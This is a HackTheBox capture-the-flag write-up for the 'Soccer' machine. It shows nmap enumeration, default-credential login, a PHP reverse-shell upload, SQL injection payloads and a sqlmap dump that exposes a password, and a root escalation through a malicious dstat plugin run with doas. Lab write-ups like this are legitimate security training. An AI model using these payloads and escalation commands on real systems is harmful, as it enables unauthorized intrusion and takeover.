Soccer HacktheBox Writeup

Soccer is an easy box on the hackthebox platform. Solving it involves malicious file upload, sql injection, and understanding dstat plugins. Let’s pwn it!
Enumeration & User
First, we scan for open ports on the host using nmap
┌─[stitch@parrot]─[~/Desktop]
└──╼ $sudo nmap -sC -sV 10.129.89.112
[sudo] password for stitch:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-18 05:53 MST
Nmap scan report for 10.129.89.112
Host is up (0.053s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
| 256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
|_ 256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
| Date: Sun, 18 Dec 2022 19:54:54 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot GET /</pre>
| </body>
| </html>
| HTTPOptions, RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Sun, 18 Dec 2022 19:54:54 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
|_ </html>
We find that there is a website running, soccer.htb (add this to your /etc/hosts), and that there is a H3K tiny file manager running.


Gathering more information:
In the github repo for this file manager application, we can find the default login creds for the app. admin/admin@123
So, we try logging into the Tiny file manager with these credentials and they work! We are in as user “admin”

Looking at the page source, we can find the version of the web app:

This is where things begin to look more interesting. Researching the version number, it looks like this app has a rce/directory traversal cve related to it. Before digging into that much further, let’s go ahead and first just try uploading a php reverse shell to tiny/uploads directory and triggering it. We spin up a netcat listener on our attacker machine to receive the connection, then trigger the reverse shell by requesting the uploaded shell’s url by clicking “open” in the Tiny file manager (there are a few ways to trigger it).


Great, we get a shell back as www-data user, and are able to enumerate the file system further.

We know that there is another service running on port 9091, and we also know that there is a webserver running. So, let’s see if there are any other vhosts on the machine that might act as a front end to that service on port 9091. We find that there is a subdomain by checking soc-player.htb file in the /etc/apache2/sites-available folder: soc-player.soccer.htb

Now, we need to add this soc-player.soccer.htb to our /etc/hosts file and visit the url in our web browser. When we reach the site, we make account on the signup page and login with our account. This gives us the ability to interact the websockets app on port 9091 that seems to be verifying tickets. With some testing, we find that this app is vulnerable to sql injection. We can tell this because of how the response says ticket 62760 does not exist (even though our ticket id is 62760) when using the payload 62760 ‘ AND 1=0–+
We can also verify by making up a ticket number, that does not exist then trying to return a valid response through SQL logic. In this case, I tested a non existing ticket and tested with OR 1=1 (which evaluates to “True”). The payload you can see below is 9898 OR 1=1 and returns that the ticket exists because of our OR 1=1 logic.


Using the middleware found here: https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html, we can automate some different sql injections using sqlmap and dump the database. We get the username “player” and corresponding password. Then we can sign into the server with the same credentials over ssh. We get the user.txt flag from the user’s home folder.
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id | email | password | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player |
+------+-------------------+----------------------+----------+

Privilege Escalation & Root
From here, we can start our enumeration for priv esc. We check running ports, enumerate the path variable, and see what files are in the path. It looks like our user has the ability to run doas on /usr/bin/dstat so that the utility can be run as root. We further learn about dstat by looking at the man pages, and see that there are several directories where it looks for plugins.


FILES
Paths that may contain external dstat_*.py plugins:
~/.dstat/
(path of binary)/plugins/
/usr/share/dstat/
/usr/local/share/dstat/
Let’s leverage the ability to create a dstat plugin in order to gain root privileges. We cd to /usr/local/share/dstat and create a dstat_pluginname.py file with a python payload. In this case, we use it to spawn a new system shell as root. The first time I did this, I copied another plugin and added a line to execute a reverse shell script. The way that we will try is found on gtfobins: https://gtfobins.github.io/gtfobins/dstat/
player@soccer:/usr/local/share/dstat$ echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_fakey.py
player@soccer:/usr/local/share/dstat$ doas -u root /usr/bin/dstat --fakey
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
# whoami && id && uname -a
root
uid=0(root) gid=0(root) groups=0(root)
Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
#

And that’s it! We are root.